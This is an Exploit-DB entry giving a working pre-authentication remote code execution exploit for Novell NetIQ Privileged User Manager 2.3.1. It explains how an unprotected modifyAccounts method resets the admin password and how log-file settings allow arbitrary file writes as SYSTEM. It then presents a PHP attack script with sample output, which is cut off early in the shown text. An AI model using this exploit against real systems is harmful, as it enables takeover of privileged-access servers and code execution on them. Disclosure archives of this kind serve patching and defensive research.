Exploit-DB #22737
Description: Novell NetIQ Privileged User Manager 2.3.1 - 'auth.dll' pa_modify_accounts() Remote Code Execution
Type: remote
Platform: windows
Date: 2012-11-15
Author: rgod

Exploit:
Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts() 
Remote Code Execution (pre auth / SYSTEM privileges)

Tested against: Microsoft Windows 2003 r2 sp2
download url: http://download.novell.com/index.jsp
(search "Privileged User Manager")
file tested: NetIQ-PUM-2.3.1.iso
(decompress and launch netiq_pum_manager_2.3.1_x86.msi)

Background:
The mentioned product installs a Windows service (unifid.exe) called 'npum',
display name: "NetIQ Privileged User Manager" which listens on 
default tcp port 443 (https) for incoming connections.

Vulnerabilty:
The secure web interface contains a flaw which allows, without prior 
authentication, to change the password of the user 'admin'.
A remote attacker then could login to the web interface with full privileges
and trigger underlying vulnerabilities to write arbitrary files
against the target system with SYSTEM privileges.

Explaination:

Open C:\Program Files\Novell\npum\service\local\auth\module.xml
(this is the configuration file of the 'auth' module).


...
    <Library type="dso" lib="lib/auth">
      <Method name="initAuth" init="init_auth" /> 
      <Method name="login" svc="login"/>
      <Method name="logout" svc="auth_logout"/>
      <Method name="renew" svc="renew"/>
      <Method name="changePassword" svc="passwd_change" master="1"/>
      <Method name="setPassword" svc="passwd_set" role="admin" master="1"/>
      <Method name="userInfo" svc="user_info" role="read"/>
      <Method name="groupInfo" svc="group_info" role="read"/>
      <Method name="listUsers" svc="list_users" role="read"/>
      <Method name="listGroups" svc="list_groups" role="read"/>
      <Method name="addUser" svc="add_user" role="admin" master="1"/>
      <Method name="delUser" svc="del_user" role="admin" master="1"/>
      <Method name="modUser" svc="mod_user" role.0="admin" role.1="helpdesk" master="1"/>
      <Method name="addGroup" svc="add_group" role="admin" master="1"/>
      <Method name="delGroup" svc="del_group" role="admin" master="1"/>
      <Method name="modGroup" svc="mod_group" role.0="admin" role.1="helpdesk" master="1"/>
      <Method name="getDefaults" svc="get_defaults" role="read"/>
      <Method name="modDefaults" svc="mod_defaults" role="admin" master="1"/>
      <Method name="logonNotify" svc="logon_notify" master="1"/>
      <Method name="getAttributes" svc="pa_get_attributes"/>
      <Method name="getAccounts" svc="pa_get_accounts"/>
      <Method name="modifyAccounts" svc="pa_modify_accounts" master="1"/> <---------------------------
      <Method name="registerAgent" wrk="pa_register_agent" master="1"/>
      <Method name="acntMaintenance" wrk="acnt_maintenance"/>
	  <Method name="getroleDetails" wrk="au_getroledetails"/>
	  <Method name="getRolesGroups" svc="au_getrolesgroups"/>
	  <Method name="modrole" svc="au_modrole"/>
    </Library>
...

Note the modifyAccounts method. It corresponds to the pa_modify_accounts()
function inside auth.dll (see auth.lst attachment) . No role is defined.
The result is that, unlike with the modUser method which has nearly the same functionalities,
the internet user could reach the administrative code by sending a POST request with
serialized content.

I found also a flaw (post-auth) inside the set_log_config() function of 
regclnt.dll (see regclnt.lst attachment) which allows to write arbitrary files by specifying the location 
of log files. 
You are in control of the file extension, and you are in control of the file
location by specifying an absolute path or directory traversal specifiers.
The content of the file can be partially controlled by sending a GET request
to the web interface. This could allow ex. to write scripts inside the automatic
startup folders.

As attachment, proof of concept code written in php. Launch from the
command line.
When succeeded, you could login with the credentials given.




Notes:

The default credentials are 

username: admin
[CREDENTIAL_REDACTED]

Log in and change the password to one of your choice.
Then log out and run 9sg_novell_netiq.php.

Credentials are changed to:

username: admin
password: rgod_777_

You could also change the location of the log file by browsing:

Home -> Hosts 

when the host is selected you will see the Host Log Settings feature.

Other attacks are possible.


PoC:

<?php
/*
Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts() 
Remote Code Execution Exploit

Expected output:

C:\php>php 9sg_novell_netiq_i.php 192.168.0.1
[*] Attacking auth.dll ...
[*] Modifying admin password...
[*] Done. Proceeding to next steps.
[*] svc_name -> somename
[*] Logging in...
[*] Logged in: succeeded
[*] Identity Token -> AJzj8ExJzSvJLKlkyOd0LC3JCMnPTs1jKGbJS8xNZU1Myc3My+TIzEtMLsksS92h4MlWUlySmFvQ2rx3W34xd1Fqbn5JanxGfn
EJr6GlkZ6hmYUekDQwLOYsSE0tAkuwJeYlFKUmJrIE5eekAg0uAlKMWgwFfIhFDEAnB2em5yWWlBalMlQxF2emNzI4yb514E3S1Psv3PQj94Lq9jBuq84bVg
65m57viBBllf1m0C680ZrLr0zaOSn7RrbfG/vt4TuXWd1p/J7qFpqwVTRuZvl2kVWy21hj8yukZwhVhskfNzBYYsIh8M04ZJVuaPcB4x/7lX3Nj8ivnbBMJH
t37cPgB9EJ8058WvT2rGdJK3fJ7SqmzBSR6J8yTYat7DaiRw+8T2md+WGbW0gGAwM4Ap95pA==
[*] Setting up a rollover script which launches calc.exe
[*] Done. The following perl script will be launched in 5 seconds :
system("calc.exe");

C:\php>

rgod
*/
    error_reporting(E_ALL ^ E_NOTICE);     
    set_time_limit(0);
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    
    function syntax() {
       print("usage: php 9sg_novell_netiq_i.php [ip_address]\r\n" );
       die();
    }
    
    $argv[1] ? print("[*] Attacking auth.dll ...\n") :
    syntax();
    
	if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {